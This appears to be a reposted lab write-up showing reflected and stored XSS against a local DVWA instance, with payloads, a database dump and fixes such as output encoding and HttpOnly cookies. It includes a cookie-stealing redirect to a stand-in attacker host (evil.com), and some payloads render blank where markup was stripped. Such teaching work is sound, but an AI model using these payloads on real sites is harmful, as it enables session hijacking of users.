Share
## https://sploitus.com/exploit?id=E6307A0C-1175-503F-A301-C6DE0296F98D
# Cross-Site Scripting (XSS) Attack & Analysis โ€” DVWA

A hands-on web application penetration testing project demonstrating Reflected and Stored XSS vulnerabilities using DVWA (Damn Vulnerable Web Application), covering basic script injection, cookie theft, page defacement, and WAF bypass techniques.

---

## Lab Environment

| Component | Details |
|-----------|---------|
| Attacker machine | Kali Linux (VirtualBox) |
| Target | DVWA running on Apache/MariaDB (localhost) |
| Tools used | Browser, Developer Tools, MariaDB CLI |
| Security level | Low (intentional โ€” for learning) |

> All activity performed in an isolated local lab environment. No real systems involved.

---

## What is XSS?

Cross-Site Scripting (XSS) occurs when an attacker injects malicious JavaScript into a web page that is then executed in the browser of anyone who visits that page.

Unlike SQL injection which targets the database backend, XSS targets the frontend โ€” attacking other users of the application.

**Two types demonstrated in this project:**

| Type | How it works | Who is affected |
|------|-------------|----------------|
| Reflected XSS | Payload is in the URL, reflected back immediately | Only whoever clicks the malicious link |
| Stored XSS | Payload is saved to the database permanently | Every single visitor to the page |

---

## Attack Methodology

```
Step 1 โ†’ Identify input fields that reflect output without sanitisation
Step 2 โ†’ Basic script injection (Reflected XSS)
Step 3 โ†’ Stored XSS โ€” persistent payload in database
Step 4 โ†’ Cookie theft via document.cookie
Step 5 โ†’ WAF bypass using onerror event handler
Step 6 โ†’ Document database evidence
```

---

## Attack 1 โ€” Reflected XSS

**Target:** `http://localhost/DVWA/vulnerabilities/xss_r/`

The "What's your name?" field reflects input directly back onto the page without sanitisation.

**Payload โ€” basic alert:**
```html
alert('XSS')
```
**Result:** JavaScript alert fires in the browser โ€” proves script execution.

**Payload โ€” cookie theft:**
```html
alert(document.cookie)
```
**Result:** Session cookie exposed in alert. In a real attack this gets sent to an attacker-controlled server โ€” account takeover without needing a password.

**Payload โ€” malicious URL:**
```
http://localhost/DVWA/vulnerabilities/xss_r/?name=alert('XSS')
```
**Result:** Entire URL becomes the attack vector. Send this link to a victim โ€” script runs in their browser automatically.

**Screenshot:** `screenshots/reflected_xss_alert.png`

---

## Attack 2 โ€” Stored XSS

**Target:** `http://localhost/DVWA/vulnerabilities/xss_s/`

The guestbook form saves input to the database. Any JavaScript stored here executes for every visitor permanently.

### Payload 1 โ€” Basic stored script:
- Name: `hacker`
- Message: `alert('Stored XSS')`

**Result:** Alert fires for every visitor on every page load โ€” permanently stored.

---

### Payload 2 โ€” Cookie theft via document.write:
- Name: `attacker10`
- Message:
```html
document.write('Stolen Cookie: ' + document.cookie + '')
```
**Result:** Session cookie written directly into the page HTML โ€” visible to anyone who views source.

---

### Payload 3 โ€” Visitor redirect:
- Name: `victim`
- Message:
```html
document.location='http://evil.com/steal?c='+document.cookie
```
**Result:** Every visitor is silently redirected to attacker's server with their session cookie appended to the URL โ€” mass account hijacking.

---

### Payload 4 โ€” WAF Bypass using onerror (no script tag):
- Name: `attacker5`
- Message:
```html

```
**Result:** Uses an image error event instead of a script tag. Many Web Application Firewalls block `` tags but miss event handlers โ€” this bypasses basic filters entirely.

**Screenshot:** `screenshots/stored_xss_onerror.png`

---

### Payload 5 โ€” Page defacement:
- Name: `attacker`
- Message:
```html
HACKED BY ATTACKER
```
**Result:** Permanent visual defacement of the page โ€” no JavaScript required, pure HTML injection.

**Screenshot:** `screenshots/page_defacement.png`

---

## Database Evidence

All payloads confirmed stored in the database:

```
+------------+------------+------------------------------------------------------------------------------------+
| comment_id | name       | comment                                                                            |
+------------+------------+------------------------------------------------------------------------------------+
|         14 | attacker5  |    |
|         15 | attacker10 | document.write('Stolen Cookie: ' + document.cookie + '') |
|         16 | attacker11 |        |
|         17 | hacker     | alert('Stored XSS')                                               |
|         18 | victim     | document.location='http://evil.com/steal?c='+document.cookie     |
+------------+------------+------------------------------------------------------------------------------------+
```

Raw dump: `xss_guestbook_dump.txt`

---

## Real-World Impact

| Attack | Real-World Consequence |
|--------|----------------------|
| Reflected XSS | Phishing links โ€” victim clicks, attacker steals session |
| Stored XSS | Every visitor compromised โ€” no interaction needed beyond visiting the page |
| Cookie theft | Account takeover without knowing the password |
| onerror bypass | Evades WAF and basic input filters |
| Redirect attack | Mass phishing โ€” all visitors sent to fake login page |

---

## Why HttpOnly Cookies Matter

During testing, `document.cookie` returned limited data because modern browsers set the **HttpOnly** flag on session cookies โ€” this prevents JavaScript from reading them directly.

**Lesson:** HttpOnly is a critical defence against XSS-based session hijacking. Always set it in production.

```php
// Secure cookie setting
setcookie('session', $value, [
    'httponly' => true,
    'secure'   => true,
    'samesite' => 'Strict'
]);
```

---

## How to Fix XSS

**Wrong (vulnerable):**
```php
echo "Hello " . $_GET['name'];
```

**Right โ€” output encoding:**
```php
echo "Hello " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
```

`htmlspecialchars()` converts `` into `<script>` โ€” rendered as text, never executed as code.

**Additional defences:**
- Content Security Policy (CSP) header โ€” whitelists allowed script sources
- Input validation and whitelisting
- HttpOnly and Secure flags on all cookies
- X-XSS-Protection header

---

## Files in This Repo

| File | Description |
|------|-------------|
| `README.md` | Full project documentation |
| `xss_guestbook_dump.txt` | Raw database dump showing stored payloads |
| `/screenshots` | Browser and terminal screenshots |

---

## What I Learned

- The difference between Reflected and Stored XSS and why Stored is more dangerous
- How JavaScript injected into a page can steal session cookies and hijack accounts
- Why `` tag blocking alone is not enough โ€” onerror and other event handlers bypass it
- How HttpOnly cookies protect against XSS-based session theft
- Why output encoding with `htmlspecialchars()` completely prevents XSS
- Real-world impact โ€” a single unprotected input field can compromise every user of an application

---

## References

- [OWASP XSS](https://owasp.org/www-community/attacks/xss)
- [OWASP XSS Filter Evasion Cheatsheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet)
- [DVWA GitHub](https://github.com/digininja/DVWA)
- [PortSwigger XSS Labs](https://portswigger.net/web-security/cross-site-scripting)